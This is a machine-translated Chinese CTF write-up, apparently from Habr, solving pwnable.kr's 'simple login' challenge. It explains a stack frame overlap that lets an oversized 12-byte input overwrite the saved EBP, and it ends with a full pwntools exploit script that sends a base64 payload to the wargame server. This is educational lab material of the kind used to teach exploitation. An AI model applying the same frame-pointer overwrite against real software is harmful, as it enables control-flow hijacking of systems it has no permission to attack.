使用pwnable.kr解决问题24-简单登录。 堆叠框架覆盖

图片

在本文中,我们将从站点pwnable.kr解决第24个任务,并了解有关堆叠堆栈框架的信息。

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域中的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

简单的登录作业解决方案


我们继续第二部分。 我马上要说,这比第一种困难,而且我们没有提供应用程序的源代码。 不要忘记这里的讨论。 让我们开始吧。

单击带有签名简单登录的图标。 我们获得了用于连接的地址和端口以及程序本身。

图片

下载他们给我们的所有内容,检查二进制文件。

图片

这是一个32位的elf,带有已安装的canary和不可执行的堆栈。 我们在IDA Pro中反编译。

图片

在程序中,用户数据从base64解码。 变量v7存储已解码字符串的长度。 接下来,将v7与12进行比较。如果通过测试,则将解码后的字符串复制到输入变量,然后调用auth函数,将解码后的字符串的长度作为参数传递到该函数中。 如果我们通过身份验证,则会调用正确的函数。 让我们看一下auth函数。

图片

看起来像缓冲区溢出。 看一下堆栈。

图片

不行 我们不能溢出缓冲区,因为这需要超过12个字节。 存储变量值的地址很有趣,尤其是对其执行复制的v4变量。

图片

这是地址[ESP + 32]。 以反汇编形式查看此代码。

图片

需要以下说明来保存堆栈框架。
push ebp
mov ebp, esp

要恢复堆栈,请使用Leave语句。 我们执行逆运算。

图片

最有趣的是第三指令sub esp, 28h

因此,发生重叠:esp减少40,并且v2变量位于esp + 32处并占用12个字节。 也就是说,将值从esp移到ebp之后,变量v2的最后四个字节的地址将保存在ebp中。 执行leave和retn指令后,v2变量的最后四个字节现在将位于堆栈的高帧中。

我们检查一下并给出输入线QUFBQUFBQUFCQkJC。

图片

如果我们的假设是正确的,则在auth函数中执行retn之后,堆栈的顶部将是地址“ BBBB”。

图片

现在执行请假。

图片

EBP中有“ BBBB”,现在在主功能main中执行离开后,程序将崩溃。 因此,我们可以将堆栈顶部的地址放在要访问的地址所在的地址的前面。 然后加载将如下所示:4个任意字节+我们要访问的地址+加载开始的地址。

首先,编写一个模板。
 from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() r.interactive() 

现在我们找出我们要去的地址-这是正确函数内的0x8049284。

图片

此地址将是我们加载的第二部分。 负载的第三部分将是输入变量的地址(负载地址)。

图片

我们在代码中编写负载。 不要忘记在base64中编码:
 payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload) 

完整代码。
 from pwn import * from base64 import * r = remote('pwnable.kr', 9003) r.recv() payload = "A"*4 + p32(0x8049284) + p32(0x811EB40) payload = b64encode(payload) r.send(payload+"\n") r.interactive() 

图片

得到你的观点。 老实说,这个任务对我来说并不容易。

图片

我们继续:在下一篇文章中-法医。 您可以通过Telegram加入我们。

Source: https://habr.com/ru/post/zh-CN468761/


All Articles